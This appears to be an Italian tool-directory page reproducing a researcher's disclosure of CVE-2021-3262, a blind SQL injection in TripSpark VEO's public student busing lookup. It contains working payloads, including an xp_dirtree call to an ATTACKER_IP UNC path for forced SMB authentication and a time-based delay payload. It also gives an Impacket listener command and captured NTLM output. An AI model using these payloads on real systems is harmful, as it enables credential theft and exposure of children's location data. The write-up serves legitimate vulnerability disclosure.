Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-3262 — CVE-2021-3262 - SQL Injection cieca nel parametro editOEN di TripSpark VEO Transportation / NovusEDU. Non autenticato, esposto su internet. Payload, richieste annotate ed evidenze. | Kitploit
Strumenti/GitHubGitHub/l0lsec/cve-2021-3262
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPaper e RicercaApprendimento e FormazioneSicurezza dei Database
GitHubl0lsec/cve-2021-3262

CVE-2021-3262

CVE-2021-3262 - SQL Injection cieca nel parametro editOEN di TripSpark VEO Transportation / NovusEDU. Non autenticato, esposto su internet. Payload, richieste annotate ed evidenze.

Vedi Repository
152 mesi faNon ancora revisionato
Sito web

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2021-3262

Iniezione SQL in TripSpark VEO Transportation / NovusEDU

La pagina di ricerca pubblica "Student Busing Information" distribuita con TripSpark VEO Transportation accetta input non autenticati nel corpo della richiesta POST e li concatena in una query SQL Server senza parametrizzazione né validazione lato server. Il parametro editOEN (il campo del numero studente) è iniettabile.

L'iniezione è cieca: l'applicazione non restituisce errori di database né contenuti differenziali degni di lettura. È comunque completamente sfruttabile out-of-band, perché la connessione al database può raggiungere master.dbo.xp_dirtree, che costringe l'account di servizio di SQL Server ad autenticarsi in uscita via SMB verso un percorso UNC fornito dall'attaccante.

Trovata durante un penetration test esterno. Nell'incarico originale, la credenziale catturata dell'account di servizio è stata il punto d'accesso iniziale che ha portato al completo compromesso del dominio e della foresta Active Directory del cliente.

Pubblicata come CVE-2021-3262. Scoperta e segnalata da Sedric Louissaint di Show Up Show Out Security.


Riepilogo

CVECVE-2021-3262
ProdottoTripSpark VEO Transportation / NovusEDU
Versioni interessateNovusEDU-2.2.x-XP_BB-20201123-184084, VEO--20201123-184084OS
DebolezzaCWE-89: SQL Injection
CVSS 3.1 (NVD)9.8 Critico CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS 2 (ricercatore)9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P
Pubblicato2023-08-29
Testato suWindows Server 2012 R2 Standard, SQL Server 2012 (SP3) 11.0.6020.0 (x64)
Autenticazione richiestaNessuna. La pagina di ricerca è esposta a Internet per progettazione.

Descrizione NVD:

TripSpark VEO Transportation-2.2.x-XP_BB-20201123-184084 NovusEDU-2.2.x-XP_BB-20201123-184084 consente input di dati non sicuri nei parametri del corpo POST da parte degli utenti finali, senza sanificazione tramite logica lato server. Era possibile iniettare comandi SQL personalizzati nelle query di ricerca "Student Busing Information".

Dettagli tecnici

La superficie esposta

I distretti scolastici distribuiscono la pagina "Student Busing Information" sui loro siti web pubblici così che i genitori possano cercare l'assegnazione del bus di uno studente. La pagina richiede un N Number dello studente e una data di nascita, ed è intenzionalmente non autenticata.

La pagina pubblica Student Busing Information

Il campo N Number viene inviato come editOEN. La data di nascita viene inviata come cboxMonth, cboxDay e cboxYear. editOEN è il parametro iniettabile.

Iniezione cieca

A differenza di molte applicazioni ASP.NET di questa epoca, questa pagina non restituisce errori di database. Non c'è alcuna differenza visibile tra una query ben formata e una non valida, quindi le tecniche in-band sono un vicolo cieco.

Le query impilate vengono eseguite, ed è tutto ciò che serve.

Sfruttamento out-of-band tramite xp_dirtree

master.dbo.xp_dirtree enumera una directory. Dato un percorso UNC, SQL Server si autentica verso l'host di destinazione via SMB prima di leggerlo. Puntarlo verso un listener trasforma un'iniezione silenziosa in una visibile:

123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

Il payload nel parametro editOEN

La richiesta è un normale POST ASP.NET WebForms, di circa 4.700 byte, la maggior parte dei quali è __VIEWSTATE. La richiesta completa è in poc/exploited-request.http, i payload in poc/payloads.sql.

La richiesta HTTP sfruttata

Autenticazione catturata

Con smbserver.py di Impacket in ascolto su un host su Internet pubblico, il server di database all'interno della rete del distretto si autentica in uscita:

[*] Incoming connection (204.x.x.x,58497)
[*] AUTHENTICATE_MESSAGE (\SQLServices,<REDACTED>-VEO-DB)
[*] User <REDACTED>-VEO-DB\SQLServices authenticated successfully
[*] SQLServices::...

Autenticazione forzata catturata con Impacket

Due cose meritano di essere dette esplicitamente. Primo: si tratta di un modulo non autenticato esposto a Internet che raggiunge un database di produzione. Secondo: a quel server di database era consentito aprire connessioni SMB in uscita verso host Internet arbitrari, ed è ciò che ha reso osservabile l'iniezione cieca.

Impatto

Oltre all'iniezione stessa, la credenziale NTLMv2 catturata per l'account di servizio di SQL Server è stata il punto d'accesso iniziale nell'incarico originale. Da lì, il test è proseguito fino al completo compromesso del dominio e della foresta Active Directory del cliente.

I dati a rischio sono i registri del trasporto scolastico degli studenti: nomi, indirizzi di casa, bus assegnato, fermata assegnata, orari di prelievo e percorsi per l'educazione speciale. Si tratta di una pianificazione di dove bambini identificabili si troveranno fisicamente in momenti noti.

Riproduzione

Contro un'istanza di laboratorio di tua proprietà o che sei autorizzato a testare:

  1. Caricare la pagina "Student Busing Information".
  2. Avviare un listener su un host raggiungibile dal target:
    sudo smbserver.py c . -smb2support
    
  3. Inviare il modulo con il payload xp_dirtree da poc/payloads.sql nel campo N Number, sostituendo il proprio IP. Catturare e riprodurre la POST invece di digitare nel browser se il campo ha un limite di lunghezza lato client, poiché quel limite non esiste lato server.
  4. Una build vulnerabile produce un'autenticazione SMB in entrata dall'account di servizio di SQL Server. Non cambia nulla nella risposta HTTP.
  5. La conferma basata sul tempo funziona anche se non puoi ricevere SMB in entrata:
    123'; waitfor delay '0:0:10';--
    

Contenuto del repository

poc/
  payloads.sql            Detection, time-based and out-of-band payloads for editOEN
  exploited-request.http  The full POST request, ready for sqlmap -r
  sqlmap.md               sqlmap invocations for a blind stacked-query injection
media/
  01-student-busing-information-page.png
  02-editoen-payload-in-burp.png
  03-forced-auth-captured-impacket.png
  04-exploited-http-request.png

Gli identificativi dei client nelle catture sono oscurati. Gli indirizzi dei listener provengono dall'incarico originale e non sono più attivi. Sostituiscili con i tuoi durante la riproduzione.

Rimedi

Scarica lo strumento